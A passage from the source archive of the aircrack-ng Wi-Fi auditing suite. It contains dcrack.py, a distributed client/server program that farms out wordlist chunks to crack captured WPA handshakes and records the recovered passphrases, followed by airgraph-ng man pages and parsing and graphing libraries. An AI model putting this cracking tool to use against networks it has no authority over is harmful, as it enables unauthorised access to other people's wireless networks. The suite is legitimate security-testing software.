s.wfile.write(bytes(result, "UTF-8")) def do_POST(s): if ("dict" in s.path): s.do_upload_dict() if ("cap" in s.path): s.do_upload_cap() s.send_response(200) s.send_header("Content-type", "text/plain") s.end_headers() s.wfile.write(bytes("OK", "UTF-8")) def do_upload_dict(s): con = get_con() f = "dcrack-dict" c = f + ".gz" o = open(c, "wb") cl = int(s.headers['Content-Length']) o.write(s.rfile.read(cl)) o.close() decompress(f) sha1 = hashlib.sha1() x = open(f, "rb") sha1.update(x.read()) x.close() h = sha1.hexdigest() x = open(f, "rb") for i, l in enumerate(x): pass i = i + 1 x.close() n = "%s-%s.txt" % (f, h) os.rename(f, n) os.rename(c, "%s.gz" % n) c = con.cursor() c.execute("INSERT into dict values (?, ?, 0)", (h, i)) con.commit() def do_upload_cap(s): cl = int(s.headers['Content-Length']) f = open("dcrack.cap.tmp.gz", "wb") f.write(s.rfile.read(cl)) f.close() decompress("dcrack.cap.tmp") os.rename("dcrack.cap.tmp.gz", "dcrack.cap.gz") os.rename("dcrack.cap.tmp", "dcrack.cap") def do_req(s, path): con = get_con() c = con.cursor() c.execute("""DELETE from clients where (strftime('%s', datetime()) - strftime('%s', last)) > 300""") con.commit() if ("ping" in path): return s.do_ping(path) if ("getwork" in path): return s.do_getwork(path) if ("dict" in path and "status" in path): return s.do_dict_status(path) if ("dict" in path and "set" in path): return s.do_dict_set(path) if ("dict" in path): return s.get_dict(path) if ("net" in path and "/crack" in path): return s.do_crack(path) if ("net" in path and "result" in path): return s.do_result(path) if ("cap" in path): return s.get_cap(path) if ("status" in path): return s.get_status() if ("remove" in path): return s.remove(path) return "error" def remove(s, path): con = get_con() p = path.split("/") n = p[4].upper() c = con.cursor() c.execute("DELETE from nets where bssid = ?", (n,)) con.commit() c.execute("DELETE from work where net = ?", (n,)) con.commit() return "OK" def get_status(s): con = get_con() c = con.cursor() c.execute("SELECT * from clients") clients = [] for r in c.fetchall(): clients.append(r['speed']) nets = [] c.execute("SELECT * from dict where current = 1") dic = c.fetchone() c.execute("SELECT * from nets") for r in c.fetchall(): n = { "bssid" : r['bssid'] } if r['pass']: n["pass"] = r['pass'] if r['state'] != 2: n["tot"] = dic["lines"] did = 0 cur = con.cursor() cur.execute("""SELECT * from work where net = ? and dict = ? and state = 2""", (n['bssid'], dic['id'])) for row in cur.fetchall(): did += row['end'] - row['start'] n["did"] = did nets.append(n) d = { "clients" : clients, "nets" : nets } return json.dumps(d) def do_result_pass(s, net, pw): con = get_con() pf = "dcrack-pass.txt" f = open(pf, "w") f.write(pw) f.write("\n") f.close() cmd = ["aircrack-ng", "-w", pf, "-b", net, "-q", "dcrack.cap"] p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \ stdin=subprocess.PIPE) res = p.communicate()[0] res = str(res) os.remove(pf) if not "KEY FOUND" in res: return "error" s.net_done(net) c = con.cursor() c.execute("UPDATE nets set pass = ? where bssid = ?", \ (pw, net)) con.commit() return "OK" def net_done(s, net): con = get_con() c = con.cursor() c.execute("UPDATE nets set state = 2 where bssid = ?", (net,)) c.execute("DELETE from work where net = ?", (net,)) con.commit() def do_result(s, path): con = get_con() p = path.split("/") n = p[4].upper() x = urlparse(path) qs = parse_qs(x.query) if "pass" in qs: return s.do_result_pass(n, qs['pass'][0]) wl = qs['wl'][0] c = con.cursor() c.execute("SELECT * from nets where bssid = ?", (n,)) r = c.fetchone() if r and r['state'] == 2: return "Already done" c.execute("""UPDATE work set state = 2 where net = ? and dict = ? and start = ? and end = ?""", (n, wl, qs['start'][0], qs['end'][0])) con.commit() if c.rowcount == 0: c.execute("""INSERT into work values (NULL, ?, ?, ?, ?, datetime(), 2)""", (n, wl, qs['start'][0], qs['end'][0])) con.commit() # check status c.execute("""SELECT * from work where net = ? and dict = ? and state = 2 order by start""", (n, wl)) i = 0 r = c.fetchall() for row in r: if i == row['start']: i = row['end'] else: break c.execute("SELECT * from dict where id = ? and lines = ?", (wl, i)) r = c.fetchone() if r: s.net_done(n) return "OK" def get_cap(s, path): return s.serve_file("dcrack.cap.gz") def get_dict(s, path): p = path.split("/") n = p[4] fn = "dcrack-dict-%s.txt.gz" % n return s.serve_file(fn) def serve_file(s, fn): s.send_response(200) s.send_header("Content-type", "application/x-gzip") s.end_headers() # XXX openat f = open(fn, "rb") s.wfile.write(f.read()) f.close() return None def do_crack(s, path): con = get_con() p = path.split("/") n = p[4].upper() c = con.cursor() c.execute("INSERT into nets values (?, NULL, 1)", (n,)) con.commit() return "OK" def do_dict_set(s, path): con = get_con() p = path.split("/") h = p[4] c = con.cursor() c.execute("UPDATE dict set current = 0") c.execute("UPDATE dict set current = 1 where id = ?", (h,)) con.commit() return "OK" def do_ping(s, path): con = get_con() p = path.split("/") cid = p[4] x = urlparse(path) qs = parse_qs(x.query) speed = qs['speed'][0] c = con.cursor() c.execute("SELECT * from clients where id = ?", (cid,)) r = c.fetchall() if (not r): c.execute("INSERT into clients values (?, ?, datetime())", (cid, int(speed))) else: c.execute("""UPDATE clients set speed = ?, last = datetime() where id = ?""", (int(speed), cid)) con.commit() return "60" def try_network(s, net, d): con = get_con() c = con.cursor() c.execute("""SELECT * from work where net = ? and dict = ? order by start""", (net['bssid'], d['id'])) r = c.fetchall() s = 5000000 i = 0 found = False for row in r: if found: if i + s > row['start']: s = row['start'] - i break if (i >= row['start'] and i <= row['end']): i = row['end'] else: found = True if i + s > d['lines']: s = d['lines'] - i if s == 0: return None c.execute("INSERT into work values (NULL, ?, ?, ?, ?, datetime(), 1)", (net['bssid'], d['id'], i, i + s)) con.commit() crack = { "net" : net['bssid'], \ "dict" : d['id'], \ "start" : i, \ "end" : i + s } j = json.dumps(crack) return j def do_getwork(s, path): con = get_con() c = con.cursor() c.execute("""DELETE from work where ((strftime('%s', datetime()) - strftime('%s', last)) > 3600) and state = 1""") con.commit() c.execute("SELECT * from dict where current = 1") d = c.fetchone() c.execute("SELECT * from nets where state = 1") r = c.fetchall() for row in r: res = s.try_network(row, d) if res: return res # try some old stuff c.execute("""select * from work where state = 1 order by last limit 1""") res = c.fetchone() if res: c.execute("DELETE from work where id = ?", (res['id'],)) for row in r: res = s.try_network(row, d) if res: return res res = { "interval" : "60" } return json.dumps(res) def do_dict_status(s, path): p = path.split("/") d = p[4] try: f = open("dcrack-dict-%s.txt" % d) f.close() return "OK" except: return "NO" def create_db(): con = get_con() c = con.cursor() c.execute("""create table clients (id varchar(255), speed integer, last datetime)""") c.execute("""create table dict (id varchar(255), lines integer, current boolean)""") c.execute("""create table nets (bssid varchar(255), pass varchar(255), state integer)""") c.execute("""create table work (id integer primary key, net varchar(255), dict varchar(255), start integer, end integer, last datetime, state integer)""") def connect_db(): con = sqlite3.connect('dcrack.db') con.row_factory = sqlite3.Row return con def get_con(): global tls try: return tls.con except: tls.con = connect_db() return tls.con def init_db(): con = get_con() c = con.cursor() try: c.execute("SELECT * from clients") except: create_db() def server(): init_db() server_class = ThreadingTCPServer httpd = server_class(('', port), ServerHandler) print("Starting server") httpd.serve_forever() def usage(): print("""dcrack v0.3 Usage: dcrack.py [MODE] server Runs coordinator client Runs cracker cmd [CMD] Sends a command to server [CMD] can be: dict cap crack remove status""") exit(1) def get_speed(): print("Getting speed") p = subprocess.Popen(["aircrack-ng", "-S"], stdout=subprocess.PIPE) speed = p.stdout.readline() speed = speed.split() speed = speed[len(speed) - 2] return int(speed) def get_cid(): return random.getrandbits(64) def do_ping(speed): global url, cid u = url + "client/" + str(cid) + "/ping?speed=" + str(speed) stuff = urlopen(u).read() interval = int(stuff) return interval def pinger(speed): while True: interval = try_ping(speed) time.sleep(interval) def try_ping(speed): while True: try: return do_ping(speed) except URLError: print("Conn refused (pinger)") time.sleep(60) def get_work(): global url, cid, cracker u = url + "client/" + str(cid) + "/getwork" stuff = urlopen(u).read() stuff = stuff.decode("utf-8") crack = json.loads(stuff) if "interval" in crack: print("Waiting") return int(crack['interval']) wl = setup_dict(crack) cap = get_cap(crack) print("Cracking") cmd = ["aircrack-ng", "-w", wl, "-b", crack['net'], "-q", cap] p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \ stdin=subprocess.PIPE) cracker = p res = p.communicate()[0] res = str(res) cracker = None if ("not in dictionary" in res): print("No luck") u = "%snet/%s/result?wl=%s&start=%d&end=%d&found=0" % \ (url, crack['net'], crack['dict'], \ crack['start'], crack['end']) stuff = urlopen(u).read() elif "KEY FOUND" in res: pw = re.sub("^.*\[ ", "", res) i = pw.rfind(" ]") if i == -1: raise BaseException("Can't parse output") pw = pw[:i] print("Key for %s is %s" % (crack['net'], pw)) u = "%snet/%s/result?pass=%s" % (url, crack['net'], pw) stuff = urlopen(u).read() return 0 def decompress(fn): f = gzip.open(fn + ".gz") o = open(fn, "wb") o.writelines(f) o.close() f.close() def setup_dict(crack): global url d = crack['dict'] fn = "dcrack-client-dict-%s.txt" % d try: f = open(fn) f.close() except: print("Downloading dictionary %s" % d) u = "%sdict/%s" % (url, d) stuff = urlopen(u) f = open(fn + ".gz", "wb") f.write(stuff.read()) f.close() print("Uncompressing dictionary") decompress(fn) sha1 = hashlib.sha1() f = open(fn, "rb") sha1.update(f.read()) f.close() h = sha1.hexdigest() if h != d: print("bad dictionary") exit(1) s = "dcrack-client-dict-%s-%d:%d.txt" \ % (d, crack['start'], crack['end']) try: f = open(s) f.close() except: print("Splitting dict %s" % s) f = open(fn, "rb") o = open(s, "wb") for i, l in enumerate(f): if i >= crack['end']: break if i >= crack['start']: o.write(l) f.close() o.close() return s def get_cap(crack): global url, nets fn = "dcrack-client.cap" bssid = crack['net'].upper() if bssid in nets: return fn try: f = open(fn, "rb") f.close() check_cap(fn, bssid) except: pass if bssid in nets: return fn print("Downloading cap") u = "%scap/%s" % (url, bssid) stuff = urlopen(u) f = open(fn + ".gz", "wb") f.write(stuff.read()) f.close() print("Uncompressing cap") decompress(fn) nets = {} check_cap(fn, bssid) if bssid not in nets: raise BaseException("Can't find net %s" % bssid) return fn def process_cap(fn): global nets nets = {} print("Processing cap") p = subprocess.Popen(["aircrack-ng", fn], stdout=subprocess.PIPE, \ stdin=subprocess.PIPE) found = False while True: line = p.stdout.readline() try: line = line.decode("utf-8") except: line = str(line) if "1 handshake" in line: found = True parts = line.split() b = parts[1].upper() # print("BSSID [%s]" % b) nets[b] = True if (found and line == "\n"): break p.stdin.write(bytes("1\n", "utf-8")) p.communicate() def check_cap(fn, bssid): global nets cmd = ["aircrack-ng", "-b", bssid, fn] p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE) res = p.communicate()[0] res = str(res) if "No matching network found" not in res: nets[bssid] = True def worker(): while True: interval = get_work() time.sleep(interval) def set_url(): global url, port if len(sys.argv) < 3: print("Provide server addr") usage() host = sys.argv[2] if not ":" in host: host = "%s:%d" % (host, port) url = "http://" + host + "/" + "dcrack/" def client(): global cid, cracker, url set_url() url += "worker/" speed = get_speed() print("Speed", speed) cid = get_cid() print("CID", cid) try_ping(speed) t = threading.Thread(target=pinger, args=(speed,)) t.start() while True: try: do_client() break except URLError: print("Conn refused") time.sleep(60) def do_client(): try: worker() except KeyboardInterrupt: if cracker: cracker.kill() print("one more time...") def upload_file(url, f): x = urlparse(url) c = HTTPConnection(x.netloc) # XXX not quite HTTP form f = open(f, "rb") c.request("POST", x.path, f) res = c.getresponse() stuff = res.read() c.close() f.close() return stuff def compress_file(f): i = open(f, "rb") o = gzip.open(f + ".gz", "wb") o.writelines(i) o.close() i.close() def send_dict(): global url if len(sys.argv) < 5: print("Need dict") usage() d = sys.argv[4] print("Calculating dictionary hash for %s" % d) sha1 = hashlib.sha1() f = open(d, "rb") sha1.update(f.read()) f.close() h = sha1.hexdigest() print("Hash is %s" % h) u = url + "dict/" + h + "/status" stuff = urlopen(u).read() if "NO" in str(stuff): u = url + "dict/create" print("Compressing dictionary") compress_file(d) print("Uploading dictionary") upload_file(u, d + ".gz") print("Setting dictionary to %s" % d) u = url + "dict/" + h + "/set" stuff = urlopen(u).read() def send_cap(): global url if len(sys.argv) < 5: print("Need cap") usage() cap = sys.argv[4] print("Cleaning cap %s" % cap) subprocess.Popen(["wpaclean", cap + ".clean", cap], \ stderr=subprocess.STDOUT, stdout=subprocess.PIPE).communicate()[0] print("Compressing cap") compress_file(cap + ".clean") u = url + "cap/create" upload_file(u, cap + ".clean.gz") def cmd_crack(): net_cmd("crack") def net_cmd(op): global url if len(sys.argv) < 5: print("Need BSSID") usage() bssid = sys.argv[4] print("%s %s" % (op, bssid)) u = "%snet/%s/%s" % (url, bssid, op) stuff = urlopen(u).read() def cmd_remove(): net_cmd("remove") def cmd_status(): u = "%sstatus" % url stuff = urlopen(u).read() stuff = json.loads(stuff.decode("utf-8")) # print(stuff) # print("=============") i = 0 speed = 0 for c in stuff['clients']: i += 1 speed += c print("Clients\t%d\nSpeed\t%d\n" % (i, speed)) need = 0 for n in stuff['nets']: out = n['bssid'] + " " if "pass" in n: out += n['pass'] elif "did" in n: did = int(float(n['did']) / float(n['tot']) * 100.0) out += str(did) + "%" need += n['tot'] - n['did'] else: out += "-" print(out) if need != 0: print("\nKeys left %d" % need) if speed != 0: s = int(float(need) / float(speed)) sec = datetime.timedelta(seconds=s) d = datetime.datetime(1,1,1) + sec print("ETA %dh %dm" % (d.hour, d.minute)) def do_cmd(): global url set_url() url += "cmd/" if len(sys.argv) < 4: print("Need CMD") usage() cmd = sys.argv[3] if "dict" in cmd: send_dict() elif "cap" in cmd: send_cap() elif "crack" in cmd: cmd_crack() elif "status" in cmd: cmd_status() elif "remove" in cmd: cmd_remove() else: print("Unknown cmd %s" % cmd) usage() def main(): if len(sys.argv) < 2: usage() cmd = sys.argv[1] if cmd == "server": server() elif cmd == "client": client() elif cmd == "cmd": do_cmd() else: print("Unknown cmd", cmd) usage() exit(0) if __name__ == "__main__": main() aircrack-ng-1.2-rc4/scripts/airgraph-ng/0000755000000000000000000000000012660222374016613 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airgraph-ng/support/0000755000000000000000000000000012660222374020327 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airgraph-ng/man/0000755000000000000000000000000012660222375017367 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airgraph-ng/man/airgraph-ng.10000644000000000000000000000142611371612422021645 0ustar rootroot.TH airgraph-ng 1 "May 2010" Linux "User Manual" .SH NAME airgraph-ng - a 802.11 visualization utility .SH SYNOPSIS .B airgraph-ng [options] .SH DESCRIPITION .BI airgraph-ng graphs the CSV file generated by Airodump-ng. The idea is that we are showing the relationships of the clients to the AP's so dont be shocked if you see only one mapping as you may only have captured one client .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -i Airodump-ng CSV file .TP .I -o Output png file. .TP .I -g Choose the Graph Type. Current types are [CAPR (Client to AP Relationship) & CPG (Common probe graph)]. .TP .I -a Print the about. .SH EXAMPLES .B airgraph-ng -i dump-01.csv -o dump.png -g CAPR .PP .B airgraph-ng -i dump-01.csv -o dump.png -g CPG .SH SEE ALSO .br .B airodump-ng(1)aircrack-ng-1.2-rc4/scripts/airgraph-ng/man/Makefile0000644000000000000000000000060212434667717021041 0ustar rootrootAC_ROOT = ../../.. include $(AC_ROOT)/common.mak MP_FILES = airgraph-ng.1 dump-join.1 default: all all: @echo "Nothing to do. Run make install" install: uninstall install -d $(DESTDIR)$(mandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) uninstall: @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) aircrack-ng-1.2-rc4/scripts/airgraph-ng/man/dump-join.10000644000000000000000000000074111142353535021352 0ustar rootroot.TH Dump-join .SH NAME dump-join - a support tool for airgraph-ng that allows you to join the airodump output files. .SH SYNOPSIS dump-join.py -i foo_name_1 foo_name_2 foo_name_3 .... -o output-file.txt .SH DESCRIPTION A simple support tool that allows joining of airodump files into one larger file. It supports an unlimited amount of input files to a single output file. .SH OPTIONS .IP -i Input Files [ foo_name_1 foo_name_2 foo_name_3 ..] .IP -o Output File aircrack-ng-1.2-rc4/scripts/airgraph-ng/dump-join0000644000000000000000000000672311412717420020443 0ustar rootroot #!/usr/bin/python # this script is a total hack it works and ill clean it up later import sys,getopt, optparse, pdb, re def raw_lines(file): try: raw_lines = open(file, "r") except Exception: print "Failed to open ",file,". Do you have the file name correct?" sys.exit(1) Rlines = raw_lines.readlines() return Rlines def parse_file(file,file_name): cleanup = [] for line in file: # match=re.search("\n", line) # the next few lines are notes and can be ignored # if match: # line=line.replace("\n","") #for x in line: # clean = filter(lambda y: y != '\n', x) clean = line.rstrip() cleanup.append(clean) try: header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') del cleanup[header] except Exception: print "You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap" sys.exit(1) Clients = cleanup[stationStart:] #splits off the clients into their own list stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List del cleanup[stationStart:]#removed all of the client info leaving only the info on available target AP's in ardump maby i should create a new list for APs? lines = [cleanup,Clients] return lines def join_write(data,name): file = open(name,'a') for line in data[0]: line=line.rstrip() if len(line)>1: file.write(line+'\n') for line in data [1]: if len(line)>1: file.write(line+'\n') file.close() def showBanner(): print "Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files [ foo_name_1 foo_name_2 foo_name_3 .....] \n\t-o\tOutput File\n" def file_pool(files): AP = [] Clients = [] for file in files: ret = raw_lines(file) ret = parse_file(ret,file) AP.extend(ret[1]) Clients.extend(ret[0]) lines = [AP,Clients] output = sort_file(lines) return output def sort_file(input): AP = ['BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key'] Clients = ['\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs'] Clients.extend(input[0]) AP.extend(input[1]) output = [AP,Clients] return output if __name__ == "__main__": if len(sys.argv) <= 1: showBanner() sys.exit(1) parser = optparse.OptionParser("usage: %prog [options] arg1 arg2 arg3 .....") parser.add_option("-o", "--output", dest="output",nargs=1, help="output file to write to") parser.add_option("-i", "--file", dest="filename", nargs=2 ,help="Input files to read data from requires at least two arguments") (options, args) = parser.parse_args() filenames = options.filename outfile = options.output if outfile == None: print "You must provide a file name to write out to. IE... -o foo.csv\n" showBanner() sys.exit(1) elif filenames == None: print "You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n" showBanner() sys.exit(1) for file_name in args: filenames += (file_name,) return_var = file_pool(filenames) return_var = join_write(return_var,outfile) aircrack-ng-1.2-rc4/scripts/airgraph-ng/graphviz/0000755000000000000000000000000012660222375020446 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airgraph-ng/graphviz/lib_Airgraphviz.py0000644000000000000000000001125611721271447024142 0ustar rootroot__author__ = 'Ben "TheX1le" Smith' __email__ = 'thex1le@gmail.com' __website__= 'http://trac.aircrack-ng.org/browser/trunk/scripts/airgraph-ng/' __date__ = '03/02/09' __version__ = '' __file__ = 'lib_Airgraphviz.py' __data__ = 'This library supports airgraph-ng' """ ######################################## # # Airgraph-ng.py --- Generate Graphs from airodump CSV Files # # Copyright (C) 2009 Ben Smith # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ """ Airgraph-ng Support Library """ def apColor(Label,APcolorList): #OLDNAME AP_Label_Color """ Inputs a list containing AP information and the AP color information Returns a graph object that holds AP information (colors and details) TODO: Get sample data for each line? """ APcolor = APcolorList[0] fontColor = APcolorList[1] graph = ['\t','"',Label[0],'"', '[label="',Label[0], '\\nEssid: ',Label[1].rstrip('\x00'), #NULL ESSID is equal to binary space, must remove '\\nChannel: ',Label[2], '\\nEncryption: ',Label[3], '\\nNumber of Clients: ','%s' %(Label[4]), #Check to see if this method is actually needed '"',' style=filled', ' fillcolor="',APcolor, '"',' fontcolor="',fontColor, '"',' fontsize=7','];\n'] return graph def clientColor(mac,color,label=""): #OLDNAME Client_Label_Color """ Creates a label for the client information passed in (mac, color) Returns a graph object TODO: Pass a label in that may hold additional client data that could in turn be written on the client. """ if label == "": label = mac graph = ['\t','"',mac,'"',' [label="',label,'"',' color="',color,'"',' fontsize=7','];\n'] return graph def encryptionColor(enc): #OLDNAME Return_Enc_type """ Take in the encryption used by the AP and return the proper color scheme based on that value. Returns a list containing the AP fill color and AP font color """ fontColor = "black" #Default Font Color to be used if enc == "OPN": color = "firebrick2" elif enc == "WEP": color = "gold2" elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]: color = "green3" else: #No AP should ever get to this point as they will either be encrypted or open color = "black" fontColor = "white" APcolorList = (color,fontColor) #OLDNAME colorLS return APcolorList def graphvizLinker(objA,sep,objB): #OLDNAME graphviz_link """ Return a graph object that links 2 objects together. Both objects are passed in with a separator """ graph =['\t','"',objA,'"',sep,'"',objB,'"',';\n'] return graph def dotClose(input,footer): #OLDNAME dot_close """ Close the graphiz config file Return final output to be written """ input.extend(footer) input.append("}") output = ''.join(input) return output def dotWrite(data): #OLDNAME dot_write """ Write all the information obtained to a configuration file """ try: subprocess.Popen(["rm","-rf","airGconfig.dot"]) #Delete the file if it already exists except Exception: pass file = open('airGconfig.dot','a') file.writelines(data) file.close() def subGraph(items,graphName,graphType,tracked,parse): #OLDNAME subgraph """ Create a subgraph based on the incoming values TODO: Figure out what this does and clean it up """ subgraph = ['\tsubgraph cluster_',graphType,'{\n\tlabel="',graphName,'" ;\n'] if parse == "y": for line in items: clientMAC = line[0] probe_req = ', '.join(line[6:]) for bssid in tracked: if clientMAC not in tracked[bssid]:#check to make sure were not creating a node for a client that has an association allready subgraph.extend(['\tnode [label="',clientMAC,' \\nProbe Requests: ',probe_req,'" ] "',clientMAC,'";\n']) subgraph.extend(['\t}\n']) elif parse == "n": subgraph.extend(items) subgraph.extend(['\t}\n']) return subgraph ############################################### # Filter Class # ############################################### #def filter_enc(input,enc): # AP = info[1] # for key in AP: # bssid = AP[key] # if bssid[5] != enc: # del AP[bssid] # return_list = [info[0],AP] # return return_list #encryption type #number of clients #OUI #channel #beacon rate? #essid #speed #time #probe requests #whore mode... search for ANY one wanting to connect aircrack-ng-1.2-rc4/scripts/airgraph-ng/graphviz/libDumpParse.py0000644000000000000000000001530712552732202023410 0ustar rootroot#!/usr/bin/python #airodump parsing lib #returns in an array of client and Ap information #part of the airdrop-ng project from sys import exit as Exit class airDumpParse: def parser(self,file): """ One Function to call to parse a file and return the information """ self.capr = None self.NAP = None self.NA = None self.apDict = None self.clientDict = None fileOpenResults = self.airDumpOpen(file) self.airDumpParse(fileOpenResults) self.clientApChannelRelationship() return {'NA':self.NA,'capr':self.capr,'apDict':self.apDict, 'clientDict':self.clientDict,'NAP':self.NAP} def airDumpOpen(self,file): """ Takes one argument (the input file) and opens it for reading Returns a list full of data """ try: openedFile = open(file, "r") except IOError: print "Error Airodump File",file,"does not exist" Exit(1) data = openedFile.xreadlines() cleanedData = [] for line in data: cleanedData.append(line.rstrip()) openedFile.close() return cleanedData def airDumpParse(self,cleanedDump): """ Function takes parsed dump file list and does some more cleaning. Returns a list of 2 dictionaries (Clients and APs) """ try: #some very basic error handeling to make sure they are loading up the correct file try: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID') except Exception: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') del cleanedDump[apStart] #remove the first line of text with the headings try: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') except Exception: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID') except Exception: print "Invalid input file. Please make sure you are loading an airodump txt file and not a pcap" Exit(1) del cleanedDump[stationStart] #Remove the heading line clientList = cleanedDump[stationStart:] #Splits all client data into its own list del cleanedDump[stationStart:] #The remaining list is all of the AP information self.apDict = self.apTag(cleanedDump) self.clientDict = self.clientTag(clientList) return def apTag(self,devices): """ Create a ap dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: ap = {} string_list = entry.split(',') #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later len(string_list) if len(string_list) == 15: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "cipher":string_list[6], "auth":string_list[7], "power":string_list[8], "beacons":string_list[9], "iv":string_list[10], "ip":string_list[11], "id":string_list[12], "essid":string_list[13][1:], "key":string_list[14]} elif len(string_list) == 11: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "power":string_list[6], "beacons":string_list[7], "data":string_list[8], "ip":string_list[9], "essid":string_list[10][1:]} if len(ap) != 0: dict[string_list[0]] = ap return dict def clientTag(self,devices): """ Create a client dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: client = {} string_list = entry.split(',') if len(string_list) >= 7: client = {"station":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "power":string_list[3], "packets":string_list[4], "bssid":string_list[5].replace(' ',''), "probe":string_list[6:][0:]} if len(client) != 0: dict[string_list[0]] = client return dict def clientApChannelRelationship(self): """ parse the dic for the relationships of client to ap in the process also populate list of """ clients = self.clientDict AP = self.apDict NA = [] #create a var to keep the not associdated clients mac's NAP = [] #create a var to keep track of associated clients mac's to AP's we cant see apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids apClient = {} #dict that stores bssid and clients as a nested list for key in (clients): mac = clients[key] #mac is the MAC address of the client if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on if apClient.has_key(mac["bssid"]): apClient[mac["bssid"]].extend([key]) #if key exists append new client else: apClient[mac["bssid"]] = [key] #create new key and append the client else: NAP.append(key) # stores the clients that are talking to an access point we cant see else: NA.append(key) #stores the lines of the not assocated AP's in a list self.NAP = NAP self.NA = NA self.capr = apClient return aircrack-ng-1.2-rc4/scripts/airgraph-ng/graphviz/__init__.py0000644000000000000000000000005011721271447022553 0ustar rootroot__all__=['libDumpParse', 'libOuiParse'] aircrack-ng-1.2-rc4/scripts/airgraph-ng/graphviz/libOuiParse.py0000755000000000000000000001661211721271447023250 0ustar rootroot#!/usr/bin/env python __author__ = 'Ben "TheX1le" Smith, Marfi' __email__ = 'thex1le@gmail.com' __website__= '' __date__ = '04/26/2011' __version__ = '2011.4.26' __file__ = 'ouiParse.py' __data__ = 'a class for dealing with the oui txt file' """ ######################################## # # This program and its support programs are free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ import re, urllib, sys, os import pdb #this lib is crap and needs to be rewritten -Textile if os.path.isdir('./support/'): path='./support/' elif os.path.isdir('/usr/local/share/airgraph-ng/'): path='/usr/local/share/airgraph-ng/' elif os.path.isdir('/usr/share/airgraph-ng/'): path='/usr/share/airgraph-ng/' else: raise Exception("Could not determine path, please, check your installation") class macOUI_lookup: """ A class for deaing with OUIs and deterimining device type """ def __init__(self, oui=False): """ generate the two dictionaries and return them """ #a poor fix where if we have no file it trys to download it self.ouiTxtUrl = "http://standards.ieee.org/regauth/oui/oui.txt" self.ouiTxt = oui if not oui or not os.path.isfile(self.ouiTxt): self.ouiUpdate() self.ouiTxt = path + "oui.txt" self.last_error = None self.identDeviceDict(path + 'ouiDevice.txt') self.identDeviceDictWhacMac(path + 'whatcDB.csv') self.ouiRaw = self.ouiOpen(self.ouiTxt) self.oui_company = self.ouiParse() #dict where oui's are the keys to company names self.company_oui = self.companyParse() #dict where company name is the key to oui's def compKeyChk(self,name): """ check for valid company name key """ compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): return True for key in self.company_oui.keys(): if compMatch.search(key) is not None: return True return False def ouiKeyChk(self,name): """ check for a valid oui prefix """ if self.oui_company.has_key(name): return True else: return False def lookup_OUI(self,mac): """ Lookup a oui and return the company name """ if self.ouiKeyChk(mac) is not False: return self.oui_company[mac] else: return False def lookup_company(self,companyLst): """ look up a company name and return their OUI's """ oui = [] if type(companyLst).__name__ == "list": for name in companyLst: compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): oui.extend(self.company_oui[name]) else: for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) elif type(companyLst).__name__ == "str": if self.company_oui.has_key(companyLst): oui = self.company_oui[companyLst] else: compMatch = re.compile(companyLst,re.I) for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) #return the oui for that key return oui def ouiOpen(self,fname,flag='R'): """ open the file and read it in flag denotes use of read or readlines """ try: ouiFile = open(fname, "r") if flag == 'RL': text = ouiFile.readlines() elif flag == 'R': text = ouiFile.read() return text except IOError: return False 